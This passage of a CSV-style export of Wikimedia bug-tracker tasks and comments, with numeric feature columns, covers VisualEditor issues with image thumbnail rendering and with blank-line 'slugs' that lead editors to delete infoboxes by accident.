I have reopened the previous bug because of the combination of Liangent's comment (which I didn't verify myself) and at least two users complaining about this on #wikimedia-tech today, including one who was kind and persistent enough to help me confirm that this was what broke the functionality ([[nl:User:Romaine]]).

So I'm all for removing this legacy compatibility, but let's do it right instead of as a side-effect of an unrelated fix."
49803,"VisualEditor: For images, ensure that the HTML structure rendered in VE is the same as output by PHP parser so that styles/scripts work as expected and images look normal","Screenshot in edit mode

Images on pages are normally included using the ""thumb"" syntax:

[[File:Foo.jpg|thumb|description]]

In the edit mode no thumb frame is shown, see screenhots.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/Benutzer:Raymond/thumb

**Attached**: {F10382}",Medium,50.0,1367185320,1369093729.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-fsl2ocvagc2ct7mjj527,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.526315789473684,0.5526315789473685,"Screenshot in edit mode

Images on pages are normally included using the ""thumb"" syntax:

[[File:Foo.jpg|thumb|description]]

In the edit mode no thumb frame is shown, see screenhots.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F10382}"
210418,"VisualEditor: For images, ensure that the HTML structure rendered in VE is the same as output by PHP parser so that styles/scripts work as expected and images look normal","This was fixed by gerrit 64367 which is now merged, but is 'experimental' and so will not go out for a short while. Marking as fixed within wmf5, though.",,,1369093729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fsl2ocvagc2ct7mjj527,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,"This was fixed by gerrit 64367 which is now merged, but is 'experimental' and so will not go out for a short while. Marking as fixed within wmf5, though."
210413,"VisualEditor: For images, ensure that the HTML structure rendered in VE is the same as output by PHP parser so that styles/scripts work as expected and images look normal","For now we are going to fix it in VE directly. Parsoid will deliver us figure tags for block images and span tags for inline images, but VE is going to render div soup for block and image wrapped in an anchor for inline (maybe with few exceptions).",,,1368216297,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-fsl2ocvagc2ct7mjj527,task_subcomment,,True,c1,1,False,,,-8,,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,8.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,19.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,3.792452830188679,0.7547169811320755,"For now we are going to fix it in VE directly. Parsoid will deliver us figure tags for block images and span tags for inline images, but VE is going to render div soup for block and image wrapped in an anchor for inline (maybe with few exceptions)."
210406,"VisualEditor: For images, ensure that the HTML structure rendered in VE is the same as output by PHP parser so that styles/scripts work as expected and images look normal","Hijacking this bug slightly. :-)

(This will probably be solved with an upstream bug with Parsoid for a post-parser to transform, but could be done in VE instead. Either way are messy; long term answer is for Parsoid-output to be the ""read"" HTML too, and have skins and scripts target that structure.)",,,1367544520,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fsl2ocvagc2ct7mjj527,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,3.0,0.0,7.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,10.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.746268656716418,0.8059701492537313,"Hijacking this bug slightly. :-)

(This will probably be solved with an upstream bug with Parsoid for a post-parser to transform, but could be done in VE instead. Either way are messy; long term answer is for Parsoid-output to be the ""read"" HTML too, and have skins and scripts target that structure.)"
49790,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Simple test case, see URL:

* foo
: bar

adds a newline in edit mode. When removing this newline in edit mode the : is killed by the parser.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/Benutzer:Raymond/Finissage
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=60535",Medium,50.0,1367166420,1394077374.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-v7tsixpel4mikkpah73h,task_description,resolved,True,c1,1,False,False,False,-10,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,22.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,14.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.4722222222222222,"Simple test case, see URL:

* foo
: bar

adds a newline in edit mode. When removing this newline in edit mode the : is killed by the parser.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL"
209592,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","On nl.wp a discussion has started to turn on VE. In the process feedback has been collected on VE. Some users commented on ""white lines"" as a blocking issue for turning VE on as default. 
On top of pages like:
* https://nl.wikipedia.org/wiki/Bali_%28eiland%29?veaction=edit
* https://nl.wikipedia.org/wiki/Justine_Henin?veaction=edit
* https://nl.wikipedia.org/wiki/Rijn?veaction=edit
* https://nl.wikipedia.org/wiki/Brussels_Hoofdstedelijk_Gewest?veaction=edit
* https://nl.wikipedia.org/wiki/Antwerpen_%28stad%29?veaction=edit
as well as on other places on the page ""white lines"" or carriage returns appear in VE edit mode which do not appear in read mode. On mouse over the white line turns blue. 

Some users fear that newcomers others will delete those white lines and carriage returns. However, after deletion of those lines images are accidently deleted from the page.

This discussion started on bug 49806. James Forrester pointed me to this bug to continue the discussion.

(Deleting white space at the bottom of a page might also delete accidently categories and other metadata.)

How can I help to resolve this 'bug'? I will also copy to bug 55336.",,,1405114275,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,53,,1.0,0.0,0.0,1.0,0.5,4.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.5,0.0,4.5,15.5,0.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,1.0,0.0,3.5,0.5,0.0,0.5,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,19.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,4.5,1.0,11.5,1.0,1.5,8.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,1.5,15.5,5.5,0.5,3.0,0.0,1.5,0.0,1.0,1.5,0.5,1.5,0.0,0.0,0.0,3.732871563573883,0.6168921821305842,"On nl.wp a discussion has started to turn on VE. In the process feedback has been collected on VE. Some users commented on ""white lines"" as a blocking issue for turning VE on as default. 
On top of pages like:
* URL
* URL
* URL
* URL
* URL
as well as on other places on the page ""white lines"" or carriage returns appear in VE edit mode which do not appear in read mode. On mouse over the white line turns blue. 

Some users fear that newcomers others will delete those white lines and carriage returns. However, after deletion of those lines images are accidently deleted from the page.

This discussion started on bug 49806. James Forrester pointed me to this bug to continue the discussion.

(Deleting white space at the bottom of a page might also delete accidently categories and other metadata.)

How can I help to resolve this 'bug'? I will also copy to bug 55336."
209588,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Initial version of this now merged and being deployed tomorrow. I think we'll want to revisit the styling and behaviour, but this will do for now.",,,1394077374,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.033333333333333,0.8666666666666667,"Initial version of this now merged and being deployed tomorrow. I think we'll want to revisit the styling and behaviour, but this will do for now."
209584,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Change 116742 abandoned by Esanders:
Vector style tweaks for collapsible slugs

https://gerrit.wikimedia.org/r/116742",,,1394042895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4,1.0,"Change 116742 abandoned by Esanders:
Vector style tweaks for collapsible slugs

GERRIT_URL"
209580,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Change 109307 merged by jenkins-bot:
Collapse block slugs and expand on hover/focus

https://gerrit.wikimedia.org/r/109307",,,1394040062,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"Change 109307 merged by jenkins-bot:
Collapse block slugs and expand on hover/focus

GERRIT_URL"
209574,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Change 116742 had a related patch set uploaded by Esanders:
Vector style tweaks for collapsible slugs

https://gerrit.wikimedia.org/r/116742",,,1393942167,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,35,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.95,1.0,"Change 116742 had a related patch set uploaded by Esanders:
Vector style tweaks for collapsible slugs

GERRIT_URL"
209565,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Change 109307 had a related patch set uploaded by Esanders:
Collapse block slugs, and expand on hover/focus

https://gerrit.wikimedia.org/r/109307",,,1390581550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 109307 had a related patch set uploaded by Esanders:
Collapse block slugs, and expand on hover/focus

GERRIT_URL"
209560,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Thanks, Ed, for splitting the issue and working on a patch for bug 55336. 

Accordingly, I've set that bug to High/Major and this one to Normal, as the overall UX for slugs is important, but not as significant as the accidental deletion of content with the current implementation. I also suspect that we would want to alter the delete behavior even if we end up altering the slug appearance overall.

I do agree that the accidental whitespace is confusing (it's often the most immediate and obvious difference from read mode) and it would be good to find an alternative. In addition to offering an affordance on hover, we might also expand the slugs as the user moves her cursor through the page.",,,1381008272,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.5,8.0,1.0,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,3.5,0.0,6.5,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,5.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.0,1.0,11.5,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,2.0,6.0,2.0,3.0,9.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,6.0,13.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,3.0,0.0,0.5,0.0,4.085714285714285,0.7804828973843059,"Thanks, Ed, for splitting the issue and working on a patch for bug 55336. 

Accordingly, I've set that bug to High/Major and this one to Normal, as the overall UX for slugs is important, but not as significant as the accidental deletion of content with the current implementation. I also suspect that we would want to alter the delete behavior even if we end up altering the slug appearance overall.

I do agree that the accidental whitespace is confusing (it's often the most immediate and obvious difference from read mode) and it would be good to find an alternative. In addition to offering an affordance on hover, we might also expand the slugs as the user moves her cursor through the page."
209555,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","**jonathan_haas** wrote:

(In reply to comment #15)
> Why don't we just suppress the delete key when pressing it would delete the
> object the slug is associated with?

This would still leave the user with a superfluous empty line, which might be confusing and/or destroying the page layout.

I like the idea in attachment 12988, but I think it would be better, if slugs would have had an effective default height of 0 (for example height: 4px, margin-top: -2px, margin-bottom:-2px), so the article layout would match the real one.",,,1380964477,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,2.0,1.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,6.0,1.0,3.0,9.0,0.0,0.0,0.0,1.0,7.0,0.0,5.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,0.0,3.6666666666666665,0.696969696969697,"**jonathan_haas** wrote:

(In reply to comment #15)
QUOTE
QUOTE

This would still leave the user with a superfluous empty line, which might be confusing and/or destroying the page layout.

I like the idea in attachment 12988, but I think it would be better, if slugs would have had an effective default height of 0 (for example height: 4px, margin-top: -2px, margin-bottom:-2px), so the article layout would match the real one."
209548,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","I think we should split this bug in two: Slugs, and accidental deletion of FocusableNodes. Here is the latter: bug 55336",,,1380963747,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.92,"I think we should split this bug in two: Slugs, and accidental deletion of FocusableNodes. Here is the latter: bug 55336"
209544,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","I agree with previous commenters that this is likely to be at the cause of a lot of the accidental infobox deletions and such. I understand it's a tricky issue, but the current behavior is extremely confusing from the user's point of view, so we need to look at some viable solutions. 

Recapping the simple case: User is on what they perceive to be an unnecessary newline, presses delete to make the visual layout match the expected layout. A separate object (in the case of the infobox, right-aligned on the other side of the screen) suddenly disappears. This is very surprising and counter-intuitive behavior.

Why don't we just suppress the delete key when pressing it would delete the object the slug is associated with? In some alternative editors like Google Docs, it is actually not possible to nuke the entire document by just pressing down the delete key at the top of the page -- it will stop before certain objects. I've never had any problems as a result.

That seems like the simplest solution to me and does not require a redesign of the slugs.",,,1380953506,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,13,,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,9.0,2.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.0,5.333333333333333,11.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,6.666666666666667,1.0,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,12.0,1.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,9.666666666666666,2.6666666666666665,4.666666666666667,1.0,1.3333333333333333,12.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,4.333333333333333,11.666666666666666,1.0,0.3333333333333333,0.0,0.0,4.333333333333333,0.0,1.0,2.3333333333333335,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,4.0940271257172665,0.7757563901930098,"I agree with previous commenters that this is likely to be at the cause of a lot of the accidental infobox deletions and such. I understand it's a tricky issue, but the current behavior is extremely confusing from the user's point of view, so we need to look at some viable solutions. 

Recapping the simple case: User is on what they perceive to be an unnecessary newline, presses delete to make the visual layout match the expected layout. A separate object (in the case of the infobox, right-aligned on the other side of the screen) suddenly disappears. This is very surprising and counter-intuitive behavior.

Why don't we just suppress the delete key when pressing it would delete the object the slug is associated with? In some alternative editors like Google Docs, it is actually not possible to nuke the entire document by just pressing down the delete key at the top of the page -- it will stop before certain objects. I've never had any problems as a result.

That seems like the simplest solution to me and does not require a redesign of the slugs."
209539,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Today JohnCD asked again about this and I got another report from fr.wp, https://fr.wikipedia.org/w/index.php?title=Osmium&diff=96605232&oldid=93301425 .
Hoping this gets some love soon :)",,,1379004776,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,10,,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.875,0.9583333333333334,"Today JohnCD asked again about this and I got another report from fr.wp, URL .
Hoping this gets some love soon :)"
209535,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",*** Bug 52172 has been marked as a duplicate of this bug. ***,,,1375047891,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52172 has been marked as a duplicate of this bug. ***
209531,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Created attachment 12988
Copy of http://i.imgur.com/39QQi8U.png

Please upload attachments to Bugzilla. imgur periodically prunes images; Bugzilla does not. :-)

**Attached**: {F10355}",,,1374960319,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.117647058823529,0.8235294117647058,"Created attachment 12988
Copy of URL

Please upload attachments to Bugzilla. imgur periodically prunes images; Bugzilla does not. :-)

**Attached**: {F10355}"
209527,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Suggestion:
http://i.imgur.com/39QQi8U.png",,,1374926957,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Suggestion:
URL"
209520,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","**JohnCD67** wrote:

This causes trouble in the fairly common operation of removing a template (e.g. a PROD) from the top of a page which has an infobox. Click the template to select it, press ""Delete"" and it goes, leaving apparently a spare blank line at the top. The natural reaction is press ""Delete"" again to remove the blank line, and that takes out the info box. (Win7, 